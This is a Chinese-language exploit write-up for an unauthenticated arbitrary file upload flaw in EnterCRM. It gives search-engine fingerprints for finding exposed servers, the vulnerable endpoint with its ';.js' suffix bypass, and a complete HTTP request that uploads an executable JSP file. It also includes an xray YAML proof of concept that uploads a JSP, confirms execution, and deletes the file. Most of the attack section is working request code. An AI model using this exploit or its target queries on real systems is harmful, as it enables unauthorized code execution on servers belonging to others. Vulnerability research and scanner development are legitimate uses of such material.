浙大恩特CRM前台任意文件上传漏洞

简介

浙大恩特CRM是由浙江大学恩智浙大科技有限公司推出的客户关系管理（CRM）系统。该系统旨在帮助企业高效管理客户关系，提升销售业绩，促进市场营销和客户服务的优化。系统支持客户数据分析和报表展示，帮助企业深度挖掘客户数据，提供决策参考。

指纹

FOFA:product=”EnterCRM”

QUAKE：EnterCRM AND title: “欢迎使用浙大恩特客户资源管理系统”

复现过程

1. 访问以下接口

/entsoft/CustomerAction.entphone;.js?method=loadFile

当访问接口时出现如下响应体时，可认定该漏洞存在

2. 上传EXP

POST /entsoft/CustomerAction.entphone;.js?method=loadFile HTTP/1.1
Host: xxxxxxxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye8FPHsIAq9JN8j2A
Content-Length: 208

------WebKitFormBoundarye8FPHsIAq9JN8j2A
Content-Disposition: form-data; name="file";filename="xx.jsp"
Content-Type: image/jpeg

<%out.print("hello world");%>
------WebKitFormBoundarye8FPHsIAq9JN8j2A--

3. 访问 filepath路径，发现上传的jsp成功解析

xray poc

name: poc-yaml-entsoft-customeraction-upload
transport: http
set:
  rfilename: randomLowercase(4)
  s1: randomInt(40000, 44800)
  s2: randomInt(40000, 44800)
  rBoundary: randomLowercase(8)
rules:
  r0:
    request:
      method: GET
      path: /entsoft/CustomerAction.entphone;.js?method=loadFile
      follow_redirects: false
    expression: response.status == 200 && response.body_string.contains("filepath")
  r1:
    request:
      cache: true
      method: POST
      path: /entsoft/CustomerAction.entphone;.js?method=loadFile
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rBoundary}}
      body: "\
        ------WebKitFormBoundary{{rBoundary}}\r\n\
        Content-Disposition: form-data; name=\"file\";filename=\"{{rfilename}}.jsp\"\r\n\
        Content-Type: image/jpeg\r\n\
        \r\n\
        <%out.print({{s1}} * {{s2}});new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\r\n\
        ------WebKitFormBoundary{{rBoundary}}--\r\n\
        "
      follow_redirects: false
    expression: response.status == 200 && response.body_string.contains("filepath")
    output:
      search: '"filepath\":\"(?P<filepath>.+?)\"".bsubmatch(response.body)'
      filepath: search["filepath"]
  r2:
    request:
      cache: true
      method: GET
      path: /{{filepath}}
      follow_redirects: false
    expression: response.status == 200 && response.body.bcontains(bytes(string(s1 * s2)))
expression: r0() && r1() && r2()
detail:
  author: m0ch4z(https://cyberzone.cloud)
  links:
    - https://stack.chaitin.com/vuldb/detail/26cbc252-9273-4020-b72c-00eb03bca4b2